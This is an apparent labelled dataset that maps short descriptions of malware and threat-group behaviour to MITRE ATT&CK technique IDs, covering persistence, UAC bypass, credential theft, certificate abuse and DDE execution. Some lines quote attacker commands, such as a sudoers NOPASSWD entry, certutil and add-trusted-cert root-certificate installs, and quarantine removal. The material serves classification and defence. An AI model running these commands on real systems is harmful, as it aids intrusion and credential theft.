+"Tropic Trooper has created the Registry key ""HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell"" and sets the value to establish persistence."	['T1547.004']
+"Turla established persistence by adding a Shell value under the Registry key ""HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon""."	['T1547.004']
+Wizard Spider has established persistence using Userinit by adding the Registry key HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon.	['T1547.004']
+"PowerSploit's ""Install-SSP"" Persistence module can be used to establish by installing a SSP DLL."	['T1547.005']
+The Mimikatz credential dumper contains an implementation of an SSP.	['T1547.005']
+Drovorub can use kernel modules to establish persistence.	['T1547.006']
+During Operation CuckooBees, attackers used a signed kernel rootkit to establish additional persistence.	['T1547.006']
+Skidmap has the ability to install several loadable kernel modules (LKMs) on infected machines.	['T1547.006']
+Pasam establishes by infecting the Security Accounts Manager (SAM) DLL to load a malicious DLL dropped to disk.	['T1547.008']
+Wingbird drops a malicious file (sspisrv.dll) alongside a copy of lsass.exe, which is used to register a service that loads sspisrv.dll as a driver. The payload of the malicious driver (located in its entry-point function) is executed when loaded by lsass.exe before the spoofed service becomes unstable and crashes.	['T1547.008']
+APT29 drops a Windows shortcut file for execution.	['T1547.009']
+Comnie establishes persistence via a .lnk file in the victim’s startup path.	['T1547.009']
+Dragonfly has manipulated .lnk files to gather user credentials in conjunction with Forced Authentication.	['T1547.009']
+Empire can persist by modifying a .LNK file to include a backdoor.	['T1547.009']
+Gazer can establish persistence by creating a .lnk file in the Start menu or by modifying existing .lnk files to execute the malware through cmd.exe.	['T1547.009']
+Grandoreiro can write or modify browser shortcuts to enable launching of malicious browser extensions.	['T1547.009']
+Helminth establishes persistence by creating a shortcut.	['T1547.009']
+Kazuar adds a .lnk file to the Windows startup folder.	['T1547.009']
+Lazarus Group malware has maintained persistence on a system by creating a LNK shortcut in the user’s Startup folder.	['T1547.009']
+MarkiRAT can modify the shortcut that launches Telegram by replacing its path with the malicious payload to launch with the legitimate executable.	['T1547.009']
+Micropsia creates a shortcut to maintain persistence.	['T1547.009']
+Okrum can establish persistence by creating a .lnk shortcut to itself in the Startup folder.	['T1547.009']
+RedLeaves attempts to add a shortcut file in the Startup folder to achieve persistence.	['T1547.009']
+RogueRobin establishes persistence by creating a shortcut (.LNK file) in the Windows startup folder to run a script each time the user logs in.	['T1547.009']
+"S-Type may create the file ""%HOMEPATH%\Start Menu\Programs\Startup\Realtek {Unique Identifier}.lnk"", which points to the malicious `msdtc.exe` file already created in the `%CommonFiles%` directory."	['T1547.009']
+SeaDuke is capable of persisting via a .lnk file stored in the Startup directory.	['T1547.009']
+Stuxnet used copies of .lnk shortcuts to propagate through removable media.	['T1547.009']
+Earth Lusca has added the Registry key `HKLM\SYSTEM\ControlSet001\Control\Print\Environments\Windows x64\Print Processors\UDPrint” /v Driver /d “spool.dll /f` to load malware as a Print Processor.	['T1547.012']
+"Gelsemium can drop itself in ""C:\Windows\System32\spool\prtprocs\x64\winprint.dll"" to be loaded automatically by the spoolsv Windows service."	['T1547.012']
+"The PipeMon installer has modified the Registry key ""HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors"" to install PipeMon as a Print Processor."	['T1547.012']
+"Fysbis has installed itself as an autostart entry under ""~/.config/autostart/dbus-inotifier.desktop"" to establish persistence."	['T1547.013']
+NETWIRE can use XDG Autostart Entries to establish persistence.	['T1547.013']
+PoisonIvy creates a Registry key in the Active Setup pointing to a malicious executable.	['T1547.014']
+"Dok uses AppleScript to install a login Item by sending Apple events to the ""System Events"" process."	['T1547.015']
+NETWIRE can persist via startup options for Login items.	['T1547.015']
+A Threat Group-3390 tool can use a public UAC bypass method to elevate privileges.	['T1548.002']
+APT37 has a function in the initial dropper to bypass Windows UAC in order to execute the next payload with higher privileges.	['T1548.002']
+An older variant of PLAINTEE performs UAC bypass.	['T1548.002']
+AppleJeus has presented the user with a UAC prompt to elevate privileges while installing.	['T1548.002']
+Avaddon bypasses UAC using the CMSTPLUA COM interface.	['T1548.002']
+"BitPaymer can suppress UAC prompts by setting the ""HKCU\Software\Classes\ms-settings\shell\open\command"" registry key on Windows 10 or ""HKCU\Software\Classes\mscfile\shell\open\command"" on Windows 7 and launching the ""eventvwr.msc"" process, which launches BitPaymer with elevated privileges."	['T1548.002']
+Bumblebee has the ability to bypass UAC to deploy post exploitation tools with elevated privileges.	['T1548.002']
+CSPY Downloader can bypass UAC using the SilentCleanup task to execute the binary with elevated privileges.	['T1548.002']
+Clambling has the ability to bypass UAC using a `passuac.dll` file.	['T1548.002']
+Cobalt Group has bypassed UAC.	['T1548.002']
+Cobalt Strike can use a number of known techniques to bypass Windows UAC.	['T1548.002']
+During Operation Honeybee, the threat actors used the malicious NTWDBLIB.DLL and `cliconfig.exe` to bypass UAC protections.	['T1548.002']
+Empire includes various modules to attempt to bypass UAC for escalation of privileges.	['T1548.002']
+Grandoreiro can bypass UAC by registering as the default handler for .MSC files.	['T1548.002']
+H1N1 bypasses user access control by using a DLL hijacking vulnerability in the Windows Update Standalone Installer (wusa.exe).	['T1548.002']
+Honeybee uses a combination of NTWDBLIB.dll and cliconfg.exe to bypass UAC protections using DLL hijacking.	['T1548.002']
+InvisiMole can use fileless UAC bypass and create an elevated COM object to escalate privileges.	['T1548.002']
+KOCTOPUS will perform UAC bypass either through fodhelper.exe or eventvwr.exe.	['T1548.002']
+"KONNI has bypassed UAC by performing token impersonation as well as an RPC-based method, this included bypassing UAC set to “AlwaysNotify""."	['T1548.002']
+Many ZeroT samples can perform UAC bypass by using eventvwr.exe to execute a malicious file.	['T1548.002']
+MuddyWater uses various techniques to bypass UAC.	['T1548.002']
+Patchwork bypassed User Access Control (UAC).	['T1548.002']
+PipeMon installer can use UAC bypass techniques to install the payload.	['T1548.002']
+PoshC2 can utilize multiple methods to bypass UAC.	['T1548.002']
+Pupy can bypass Windows UAC through either DLL hijacking, eventvwr, or appPaths.	['T1548.002']
+QuasarRAT can generate a UAC pop-up Window to prompt the target user to run a command as the administrator.	['T1548.002']
+RCSession can bypass UAC to escalate privileges.	['T1548.002']
+RTM can attempt to run the program as admin, then show a fake error message and a legitimate UAC bypass prompt to the user in an attempt to socially engineer the user into escalating privileges.	['T1548.002']
+Ramsay can use UACMe for privilege escalation.	['T1548.002']
+Remcos has a command for UAC bypassing.	['T1548.002']
+SILENTTRINITY contains a number of modules that can bypass UAC, including through Window's Device Manager, Manage Optional Features, and an image hijack on the `.msc` file extension.	['T1548.002']
+Saint Bot has attempted to bypass UAC using `fodhelper.exe` to escalate privileges.	['T1548.002']
+Sakula contains UAC bypass code for both 32- and 64-bit systems.	['T1548.002']
+ShimRat has hijacked the cryptbase.dll within migwiz.exe to escalate privileges. This prevented the User Access Control window from appearing.	['T1548.002']
+UACMe contains many methods for bypassing Windows User Account Control on multiple versions of the operating system.	['T1548.002']
+WarzoneRAT can use `sdclt.exe` to bypass UAC in Windows 10 to escalate privileges; for older Windows versions WarzoneRAT can use the IFileOperation exploit to bypass the UAC module.	['T1548.002']
+WastedLocker can perform a UAC bypass if it is not executed with administrator rights or if the infected host runs Windows Vista or later.	['T1548.002']
+Winnti for Windows can use a variant of the sysprep UAC bypass.	['T1548.002']
+"Cobalt Strike can use ""sudo"" to run a command."	['T1548.003']
+"Dok adds ""admin  ALL=(ALL) NOPASSWD: ALL"" to the ""/etc/sudoers"" file."	['T1548.003']
+Proton modifies the tty_tickets line in the sudoers file.	['T1548.003']
+OSX/Shlayer can escalate privileges to root by asking the user for credentials.	['T1548.004']
+FoggyWeb can allow abuse of a compromised AD FS server's SAML token.	['T1550']
+APT28 has used several malicious applications that abused OAuth access tokens to gain access to target email accounts, including Gmail and Yahoo Mail.	['T1550.001']
+APT29 has used compromised service principals to make changes to the Office 365 environment.	['T1550.001']
+CreepyDrive can use legitimate OAuth refresh tokens to authenticate with OneDrive.	['T1550.001']
+Peirates can use stolen service account tokens to perform its operations. It also enables adversaries to switch between valid service accounts.	['T1550.001']
+APT28 has used pass the hash for lateral movement.	['T1550.002']
+APT32 has used pass the hash for lateral movement.	['T1550.002']
+Chimera has dumped password hashes for use in pass the hash authentication attacks.	['T1550.002']
+Cobalt Strike can perform pass the hash.	['T1550.002']
+CrackMapExec can pass the hash to authenticate via SMB.	['T1550.002']
+During Night Dragon, threat actors used pass-the-hash tools to obtain authenticated access to sensitive internal desktops and servers.	['T1550.002']
+HOPLIGHT has been observed loading several APIs associated with Pass the Hash.	['T1550.002']
+Kimsuky has used pass the hash for authentication to remote access software used in C2.	['T1550.002']
+Night Dragon used pass-the-hash tools to gain usernames and passwords.	['T1550.002']
+Pass-The-Hash Toolkit can perform pass the hash.	['T1550.002']
+PoshC2 has a number of modules that leverage pass the hash for lateral movement.	['T1550.002']
+The APT1 group is known to have used pass the hash.	['T1550.002']
+APT29 used Kerberos ticket attacks for lateral movement.	['T1550.003']
+BRONZE BUTLER has created forged Kerberos Ticket Granting Ticket (TGT) and Ticket Granting Service (TGS) tickets to maintain administrative access.	['T1550.003']
+"Mimikatz’s ""LSADUMP::DCSync"" and ""KERBEROS::PTT"" modules implement the three steps required to extract the krbtgt account hash and create/use Kerberos tickets."	['T1550.003']
+Pupy can also perform pass-the-ticket.	['T1550.003']
+Some SeaDuke samples have a module to use pass the ticket with Kerberos for authentication.	['T1550.003']
+"APT29 used stolen cookies to access cloud resources, and a forged ""duo-sid"" cookie to bypass MFA set on an email account."	['T1550.004']
+"UNC2452 used a forged ""duo-sid"" cookie to bypass MFA set on an email account."	['T1550.004']
+Astaroth uses an external software known as NetPass to recover passwords.	['T1552', 'T1555']
+AADInternals can gather unsecured credentials for Azure AD services, such as Azure AD Connect, from a local machine.	['T1552.001']
+Agent Tesla has the ability to extract credentials from configuration or support files.	['T1552.001']
+Azorult can steal credentials in files belonging to common software such as Skype, Telegram, and Steam.	['T1552.001']
+Fox Kitten has accessed files to gain valid credentials.	['T1552.001']
+Hildegard has searched for SSH keys, Docker credentials, and Kubernetes service tokens.	['T1552.001']
+LaZagne can obtain credentials from chats, databases, mail, and WiFi.	['T1552.001']
+QuasarRAT can obtain passwords from FTP clients.	['T1552.001']
+Smoke Loader searches for files named logins.json to parse for credentials.	['T1552.001']
+Stolen Pencil has used tools that are capable of obtaining credentials from saved mail.	['T1552.001']
+TeamTNT has searched for unsecured AWS credentials and Docker API credentials.	['T1552.001']
+"TrickBot can obtain passwords stored in files from several applications such as Outlook, Filezilla, OpenSSH, OpenVPN and WinSCP. Additionally, it searches for the "".vnc.lnk"" affix to steal VNC credentials."	['T1552.001']
+XTunnel is capable of accessing locally stored passwords on victims.	['T1552.001']
+jRAT can capture passwords from common chat applications such as MSN Messenger, AOL, Instant Messenger, and and Google Talk.	['T1552.001']
+APT32 used Outlook Credential Dumper to harvest credentials stored in Windows registry.	['T1552.002']
+IceApple can harvest credentials from local and remote host registries.	['T1552.002']
+"PowerSploit has several modules that search the Windows Registry for stored credentials: ""Get-UnattendedInstallFile"", ""Get-Webconfig"", ""Get-ApplicationHost"", ""Get-SiteListPassword"", ""Get-CachedGPPPassword"", and ""Get-RegistryAutoLogon""."	['T1552.002']
+Reg may be used to find credentials in the Windows Registry.	['T1552.002']
+"TrickBot has retrieved PuTTY credentials by querying the ""Software\SimonTatham\Putty\Sessions"" registry key"	['T1552.002']
+Valak can use the clientgrabber module to steal e-mail credentials from the Registry.	['T1552.002']
+"Kinsing has searched ""bash_history"" for credentials."	['T1552.003']
+APT29 obtained PKI keys, certificate files and the private encryption key from an Active Directory Federation Services (AD FS) container to decrypt corresponding SAML signing certificates.	['T1552.004']
+During Operation Wocao, threat actors used Mimikatz to dump certificates and private keys from the Windows certificate store.	['T1552.004']
+Ebury has intercepted unencrypted private keys as well as private key pass-phrases.	['T1552.004']
+"Empire can use modules like ""Invoke-SessionGopher"" to extract private key and session information."	['T1552.004']
+Hildegard has searched for private keys in .ssh.	['T1552.004']
+Kinsing has searched for private keys.	['T1552.004']
+Machete has scanned and looked for cryptographic keys and certificate file extensions.	['T1552.004']
+"Mimikatz's ""CRYPTO::Extract"" module can extract keys by interacting with Windows cryptographic application programming interface (API) functions."	['T1552.004']
+Rocke has used SSH private keys on the infected machine to spread its coinminer throughout a network.	['T1552.004']
+TeamTNT has searched for unsecured SSH keys.	['T1552.004']
+Hildegard has queried the Cloud Instance Metadata API for cloud credentials.	['T1552.005']
+Peirates can query the query AWS and GCP metadata APIs for secrets.	['T1552.005']
+TeamTNT has queried the AWS instance metadata service for credentials.	['T1552.005']
+APT33 has used a variety of publicly available tools like Gpppassword to gather credentials.	['T1552.006']
+PowerSploit contains a collection of Exfiltration modules that can harvest credentials from Group Policy Preferences.	['T1552.006']
+Peirates can query the Kubernetes API for secrets.	['T1552.007']
+Axiom has used digital certificates to deliver malware.	['T1553']
+"OSX_OCEANLOTUS.D uses the command ""xattr -d com.apple.quarantine"" to remove the quarantine file attribute used by Gatekeeper."	['T1553.001']
+XCSSET has dropped a malicious applet into an app's `.../Contents/MacOS/` folder of a previously launched app to bypass Gatekeeper's security checks on first launch apps (prior to macOS 13).	['T1553.001']
+A QuasarRAT .dll file is digitally signed by a certificate from AirVPN.	['T1553.002']
+APT29 was able to get SUNBURST signed by SolarWinds code signing certificates by injecting the malware into the SolarWinds Orion software lifecycle.	['T1553.002']
+APT41 leveraged code-signing certificates to sign malware when targeting both gaming and non-gaming organizations.	['T1553.002']
+Anchor has been signed with valid certificates to evade detection by security tools.	['T1553.002']
+BLINDINGCAN has been signed with code-signing certificates such as CodeRipper.	['T1553.002']
+Bandook was signed with valid Certum certificates.	['T1553.002']
+Bazar has been signed with fake certificates including those appearing to be from VB CORPORATE PTY. LTD.	['T1553.002']
+CSPY Downloader has come signed with revoked certificates.	['T1553.002']
+ChChes samples were digitally signed with a certificate originally used by Hacking Team that was later leaked and subsequently revoked.	['T1553.002']
+Clop can use code signing to evade detection.	['T1553.002']
+Cobalt Strike can use self signed Java applets to execute signed applet attacks.	['T1553.002']
+CopyKittens digitally signed an executable with a stolen certificate from legitimate company AI Squared.	['T1553.002']
+Darkhotel has used code-signing certificates on its malware that are either forged due to weak keys or stolen. Darkhotel has also stolen certificates and signed backdoors and downloaders with them.	['T1553.002']
+During Operation Honeybee, the threat actors deployed the MaoCheng dropper with a stolen Adobe Systems digital signature.	['T1553.002']
+Ebury has installed a self-signed RPM package mimicking the original system package on RPM based systems.	['T1553.002']
+Ecipekac has used a valid, legitimate digital signature to evade detection.	['T1553.002']
+Ember Bear has used stolen certificates from Electrum Technologies GmbH to sign payloads.	['T1553.002']
+FIN6 has used Comodo code-signing certificates.	['T1553.002']
+FIN7 has signed Carbanak payloads with legally purchased code signing certificates. FIN7 has also digitally signed their phishing documents, backdoors and other staging tools to bypass security controls.	['T1553.002']
+"Gazer versions are signed with various valid certificates; one was likely faked and issued by Comodo for ""Solid Loop Ltd,"" and another was issued for ""Ultimate Computer Support Ltd."""	['T1553.002']
+HermeticWizard has been signed by valid certificates assigned to Hermetica Digital.	['T1553.002']
+Honeybee uses a dropper called MaoCheng that harvests a stolen digital signature from Adobe Systems.	['T1553.002']
+Kimsuky has signed files with the name EGIS CO,. Ltd..	['T1553.002']
+Lazarus Group has digitally signed malware and utilities to evade detection.	['T1553.002']
+Leviathan has used stolen code signing certificates to sign malware.	['T1553.002']
+Molerats has used forged Microsoft code-signing certificates on malware.	['T1553.002']
+More_eggs has used a signed binary shellcode loader and a signed Dynamic Link Library (DLL) to create a reverse shell.	['T1553.002']
+Nerex drops a signed Microsoft DLL to disk.	['T1553.002']
+PROMETHIUM has signed code with self-signed certificates.	['T1553.002']
+Patchwork has signed malware with self-signed certificates from fictitious and spoofed legitimate software companies.	['T1553.002']
+QakBot can use signed loaders to evade detection.	['T1553.002']
+RTM samples have been signed with a code-signing certificates.	['T1553.002']
+SDelete is digitally signed by Microsoft.	['T1553.002']
+SUNBURST was digitally signed by SolarWinds from March - May 2020.	['T1553.002']
+Silence has used a valid certificate to sign their primary loader Silence.Downloader (aka TrueBot).	['T1553.002']
+Some Daserf samples were signed with a stolen digital certificate.	['T1553.002']
+SpicyOmelette has been signed with valid digital certificates.	['T1553.002']
+StrongPity has been signed with self-signed certificates.	['T1553.002']
+TrickBot has come with a signed downloader component.	['T1553.002']
+Turla has used valid digital certificates from Sysprint AG to sign its Epic dropper.	['T1553.002']
+UNC2452 was able to get SUNBURST signed by SolarWinds code signing certificates by injecting the malware into the SolarWinds Orion software lifecycle.	['T1553.002']
+Winnti Group used stolen certificates to sign its malware.	['T1553.002']
+Wizard Spider has used Digicert code-signing certificates for some of its malware.	['T1553.002']
+"Dok installs a root certificate to aid in Adversary-in-the-Middle actions using the command ""add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /tmp/filename""."	['T1553.004']
+RTM can add a certificate to the Windows store.	['T1553.004']
+"certutil can be used to install browser root certificates as a precursor to performing Adversary-in-the-Middle between connections to banking websites. Example command: ""certutil -addstore -f -user ROOT ProgramData\cert512121.der""."	['T1553.004']
+APT29 has embedded ISO images and VHDX files in HTML to evade Mark-of-the-Web.	['T1553.005']
+Amadey has modified the `:Zone.Identifier` in the ADS area to zero.	['T1553.005']
+TA505 has used .iso files to deploy malicious .lnk files.	['T1553.005']
+"APT39 has used malware to turn off the ""RequireSigned"" feature which ensures only signed DLLs can be run on Windows."	['T1553.006']
+"BlackEnergy has enabled the ""TESTSIGNING"" boot configuration option to facilitate loading of a driver component."	['T1553.006']
+Hikit has attempted to disable driver signing verification by tampering with several Registry keys prior to the loading of a rootkit driver component.	['T1553.006']
+Bonadan has maliciously altered the OpenSSH binary on targeted systems to create a backdoor.	['T1554']
+Industroyer has used a Trojanized version of the Windows Notepad application for an additional backdoor persistence mechanism.	['T1554']
+Kobalos replaced the SSH client with a trojanized SSH client to steal credentials on compromised systems.	['T1554']
+"ThiefQuest searches through the ""/Users/"" folder looking for executable files. For each executable, ThiefQuest prepends a copy of itself to the beginning of the file. When the file is executed, the ThiefQuest code is executed first. ThiefQuest creates a hidden file, copies the original target executable to the file, then executes the new hidden file to maintain the appearance of normal behavior."	['T1554']
+XCSSET uses a malicious browser application to replace the legitimate browser in order to continuously capture credentials, monitor web traffic, and download additional modules.	['T1554']
+A module in Prikormka collects passwords stored in applications installed on the victim.	['T1555']
+APT39 has used the Smartftp Password Decryptor tool to decrypt FTP passwords.	['T1555']
+Agent Tesla has the ability to steal credentials from FTP clients and wireless profiles.	['T1555']
+CosmicDuke collects user credentials, including passwords, for various programs including popular instant messaging applications and email clients as well as WLAN keys.	['T1555']
+FIN6 has used the Stealer One credential stealer to target e-mail and file transfer utilities including FTP.	['T1555']
+KGH_SPY can collect credentials from WINSCP.	['T1555']
+Matryoshka is capable of stealing Outlook passwords.	['T1555']
+Mimikatz performs credential dumping to obtain account and password information useful in gaining access to additional systems and enterprise network resources. It contains functionality to acquire information about credentials in many ways, including from the credential vault and DPAPI.	['T1555']
+NETWIRE can retrieve passwords from messaging and mail client applications.	['T1555']
+OLDBAIT collects credentials from several email clients.	['T1555']
+PLEAD has the ability to steal saved passwords from Microsoft Outlook.	['T1555']
+PoshC2 can decrypt passwords stored in the RDCMan configuration file.	['T1555']
+Stealth Falcon malware gathers passwords from multiple sources, including Windows Credential Vault and Outlook.	['T1555']
+UNC2452 used account credentials they obtained to attempt access to Group Managed Service Account (gMSA) passwords.	['T1555']
+Calisto collects Keychain storage data and copies those passwords/tokens to a file.	['T1555.001']
+LaZagne can obtain credentials from macOS Keychains.	['T1555.001']
+MacMa can dump credentials from the macOS keychain.	['T1555.001']
+Proton gathers credentials in files for keychains.	['T1555.001']
+Keydnap uses the keychaindump project to read securityd memory.	['T1555.002']
+A module in Prikormka gathers logins and passwords stored in applications on the victims, including Google Chrome, Mozilla Firefox, and several other browsers.	['T1555.003']
+APT29 has stolen user's saved passwords from Chrome.	['T1555.003']
+APT37 has used a credential stealer known as ZUMKONG that can harvest usernames and passwords stored in browsers.	['T1555.003']
+Agent Tesla can gather credentials from a number of browsers.	['T1555.003']
+Ajax Security Team has used FireMalv custom-developed malware, which collected passwords from the Firefox browser storage.	['T1555.003']
+Azorult can steal credentials from the victim's browser.	['T1555.003']
+BLUELIGHT can collect passwords stored in web browers, including Internet Explorer, Edge, Chrome, and Naver Whale.	['T1555.003']
+BlackEnergy has used a plug-in to gather credentials from web browsers including FireFox, Google Chrome, and Internet Explorer.	['T1555.003']
+Carberp's passw.plug plugin can gather passwords saved in Opera, Internet Explorer, Safari, Firefox, and Chrome.	['T1555.003']
+ChChes steals credentials stored inside Internet Explorer.	['T1555.003']
+Chaes can steal login credentials and stored financial information from the browser.	['T1555.003']
+CookieMiner can steal saved usernames and passwords in Chrome as well as credit card credentials.	['T1555.003']
+Crimson contains a module to steal credentials from Web browsers on the victim machine.	['T1555.003']
+Empire can use modules that extract passwords from common web browsers such as Firefox and Chrome.	['T1555.003']
+FIN6 has used the Stealer One credential stealer to target web browsers.	['T1555.003']
+Inception used a browser plugin to steal passwords and sessions from Internet Explorer, Chrome, Opera, Firefox, Torch, and Yandex.	['T1555.003']
+Javali can capture login credentials from open browsers including Firefox, Chrome, Internet Explorer, and Edge.	['T1555.003']
+KGH_SPY has the ability to steal data from the Chrome, Edge, Firefox, Thunderbird, and Opera browsers.	['T1555.003']
+KeyBoy attempts to collect passwords from browsers.	['T1555.003']
+Kimsuky has used browser extensions including Google Chrome to steal passwords and cookies from browsers. Kimsuky has also used Nirsoft's WebBrowserPassView tool to dump the passwords obtained from victims.	['T1555.003']
+LAPSUS$ has obtained passwords and session tokens with the use of the Redline password stealer.	['T1555.003']
+LaZagne can obtain credentials from web browsers such as Google Chrome, Internet Explorer, and Firefox.	['T1555.003']
+Lizar has a module to collect usernames and passwords stored in browsers.	['T1555.003']
+Lokibot has demonstrated the ability to steal credentials from multiple applications and data sources including Safari and the Chromium and Mozilla Firefox-based web browsers.	['T1555.003']
+Machete collects stored credentials from several web browsers.	['T1555.003']
+Magic Hound used FireMalv, custom-developed malware, which collected passwords from the Firefox browser storage.	['T1555.003']
+Melcoz has the ability to steal credentials from web browsers.	['T1555.003']
+Molerats used the public tool BrowserPasswordDump10 to dump passwords saved in browsers on victims.	['T1555.003']
+NETWIRE has the ability to steal credentials from web browsers including Internet Explorer, Opera, Yandex, and Chrome.	['T1555.003']
+OLDBAIT collects credentials from Internet Explorer, Mozilla Firefox, and Eudora.	['T1555.003']
+PLEAD can harvest saved credentials from browsers such as Google Chrome, Microsoft Internet Explorer, and Mozilla Firefox.	['T1555.003']
+"Patchwork dumped the login data database from ""\AppData\Local\Google\Chrome\User Data\Default\Login Data""."	['T1555.003']
+PinchDuke steals credentials from compromised hosts. PinchDuke's credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by PinchDuke include ones associated with many sources such as Netscape Navigator, Mozilla Firefox, Mozilla Thunderbird, and Internet Explorer.	['T1555.003']
+Proton gathers credentials for Google Chrome.	['T1555.003']
+QakBot has collected usernames and passwords from Firefox and Chrome.	['T1555.003']
+QuasarRAT can obtain passwords from common web browsers.	['T1555.003']
+ROKRAT can steal credentials stored in Web browsers by querying the sqlite database.	['T1555.003']
+RainyDay can use tools to collect credentials from web browsers.	['T1555.003']
+RedLeaves can gather browser usernames and passwords.	['T1555.003']
+Sandworm Team's CredRaptor tool can collect saved passwords from various internet browsers.	['T1555.003']
+Smoke Loader searches for credentials stored from web browsers.	['T1555.003']
+Some Backdoor.Oldrea samples contain a publicly available Web browser password recovery tool.	['T1555.003']
+Stealth Falcon malware gathers passwords from multiple sources, including Internet Explorer, Firefox, and Chrome.	['T1555.003']
+TSCookie has the ability to steal saved passwords from the Internet Explorer, Edge, Firefox, and Chrome browsers.	['T1555.003']
+TrickBot can obtain passwords stored in files from web browsers such as Chrome, Firefox, Internet Explorer, and Microsoft Edge, sometimes using esentutl.	['T1555.003']
+Trojan.Karagany can steal data and credentials from browsers.	['T1555.003']
+WarzoneRAT has the capability to grab passwords from numerous web browsers as well as from Outlook and Thunderbird email clients.	['T1555.003']
+XAgentOSX contains the getFirefoxPassword function to attempt to locate Firefox passwords.	['T1555.003']
+jRAT can capture passwords from common web browsers such as Internet Explorer, Google Chrome, and Firefox.	['T1555.003']
+njRAT has a module that steals passwords saved in victim web browsers.	['T1555.003']
+OilRig has used credential dumping tool named VALUEVAULT to steal credentials from the Windows Credential Manager.	['T1555.004']
+ROKRAT can steal credentials by leveraging the Windows Vault mechanism.	['T1555.004']
+RainyDay can use the QuarksPwDump tool to obtain local passwords and domain cached credentials.	['T1555.004']
+Turla has gathered credentials from the Windows Credential Manager tool.	['T1555.004']
+Valak can use a .NET compiled module named exchgrabber to enumerate credentials from the Credential Manager.	['T1555.004']
+During Operation Wocao, threat actors accessed and collected credentials from password managers.	['T1555.005']
+MarkiRAT can gather information from the Keepass password manager.	['T1555.005']
+Operation Wocao has accessed and collected credentials from password managers.	['T1555.005']
+Proton gathers credentials in files for 1password.	['T1555.005']
+Threat Group-3390 obtained a KeePass database from a compromised host.	['T1555.005']
+TrickBot can steal passwords from the KeePass open source password manager.	['T1555.005']
+"Kessel has trojanized the <sode>ssh_login"" and ""user-auth_pubkey"" functions to steal plaintext credentials."	['T1556']
+SILENTTRINITY can create a backdoor in KeePass using a malicious config file and in TortoiseSVN using a registry hook.	['T1556']
+Chimera's malware has altered the NTLM authentication program on domain controllers to allow Chimera to login without a valid credential.	['T1556.001']
+Remsec harvests plain-text credentials as a password filter registered on domain controllers.	['T1556.002']
+Strider has registered its persistence module on domain controllers as a Windows LSA (Local System Authority) password filter to acquire credentials any time a domain, local user, or administrator logs in or changes a password.	['T1556.002']
+Ebury can deactivate PAM modules to tamper with the sshd configuration.	['T1556.003']
+Skidmap has the ability to replace the pam_unix.so file on an infected machine with its own malicious version that accepts a specific backdoor password for all users.	['T1556.003']
+SYNful Knock has the capability to add its own custom backdoor password when it modifies the operating system of the affected network device.	['T1556.004']
+APT29 has edited the `Microsoft.IdentityServer.Servicehost.exe.config` file to load a malicious DLL into the AD FS process, thereby enabling persistent access to any service federated with AD FS for a user with a specified User Principal Name.	['T1556.007']
+Dok proxies web traffic to potentially monitor and alter victim HTTP(S) traffic.	['T1557']
+Impacket modules like ntlmrelayx and smbrelayx can be used in conjunction with Network Sniffing and LLMNR/NBT-NS Poisoning and SMB Relay to gather NetNTLM credentials for Brute Force or relay attacks that can gain code execution.	['T1557.001']
+"Lazarus Group executed Responder using the command ""[Responder file path] -i [IP address] -rPv"" on a compromised host to harvest credentials and move laterally."	['T1557.001']
+Pupy can sniff plaintext network credentials and use NBNS Spoofing to poison name services.	['T1557.001']
+Wizard Spider has used the Invoke-Inveigh PowerShell cmdlets, likely for name service poisoning.	['T1557.001']
+Empire can leverage its implementation of Mimikatz to obtain and use golden tickets.	['T1558.001']
+Ke3chang has used Mimikatz to generate Kerberos golden tickets.	['T1558.001']
+Mimikatz's kerberos module can create golden tickets.	['T1558.001']
+AADInternals can be used to forge Kerberos tickets using the password hash of the AZUREADSSOACC account.	['T1558.002']
+Empire can leverage its implementation of Mimikatz to obtain and use silver tickets.	['T1558.002']
+APT29 obtained Ticket Granting Service (TGS) tickets for Active Directory Service Principle Names to crack offline.	['T1558.003']
+FIN7 has used Kerberoasting for credential access and to enable lateral movement.	['T1558.003']
+Operation Wocao has used PowerSploit's Invoke-Kerberoast module to request encrypted service tickets and bruteforce the passwords of Windows service accounts offline.	['T1558.003']
+"PowerSploit's ""Invoke-Kerberoast"" module can request service tickets and return crackable ticket hashes."	['T1558.003']
+UNC2452 obtained Ticket Granting Service (TGS) tickets for Active Directory Service Principle Names to crack offline.	['T1558.003']
+Cyclops Blink has the ability to create a pipe to enable inter-process communication.	['T1559']
+HyperStack can connect to the IPC$ share on remote machines.	['T1559']
+FunnyDream can use com objects identified with `CLSID_ShellLink`(`IShellLink` and `IPersistFile`) and `WScript.Shell`(`RegWrite` method) to enable persistence mechanisms.	['T1559.001']
+"Gamaredon Group malware can insert malicious macros into documents using a ""Microsoft.Office.Interop"" object."	['T1559.001']
+Gelsemium can use the `IARPUinstallerStringLauncher` COM interface are part of its UAC bypass process.	['T1559.001']
+"InvisiMole can use the ""ITaskService"", ""ITaskDefinition"" and ""ITaskSettings"" COM interfaces to schedule a task."	['T1559.001']
+MuddyWater has used malware that has the capability to execute malicious code via COM, DCOM, and Outlook.	['T1559.001']
+Neoichor can use the Internet Explorer (IE) COM interface to connect and receive commands from C2.	['T1559.001']
+Ramsay can use the Windows COM API to schedule tasks and maintain persistence.	['T1559.001']
+APT28 has delivered JHUHUGIT and Koadic by executing PowerShell commands through DDE in Word documents.	['T1559.002']
+APT37 has used Windows DDE for execution of commands and a malicious VBS.	['T1559.002']
+BITTER has executed OLE objects using Microsoft Equation Editor to download and run malicious payloads.	['T1559.002']
+Cobalt Group has sent malicious Word OLE compound documents to victims.	['T1559.002']
+FIN7 spear phishing campaigns have included malicious Word documents with DDE execution.	['T1559.002']
+Gallmaker attempted to exploit Microsoft’s DDE protocol in order to gain access to victim machines and for execution.	['T1559.002']
+HAWKBALL has used an OLE object that uses Equation Editor to drop the embedded shellcode.	['T1559.002']
+KeyBoy uses the Dynamic Data Exchange (DDE) protocol to download remote payloads.	['T1559.002']
+POWERSTATS can use DDE to execute additional payloads on compromised hosts.	['T1559.002']
+Patchwork leveraged the DDE protocol to deliver their malware.	['T1559.002']
+PoetRAT was delivered with documents using DDE to execute malicious code.	['T1559.002']
+RTM can search for specific strings within browser tabs using a Dynamic Data Exchange mechanism.	['T1559.002']
+TA505 has leveraged malicious Word documents that abused DDE.	['T1559.002']
+Valak can execute tasks via OLE.	['T1559.002']
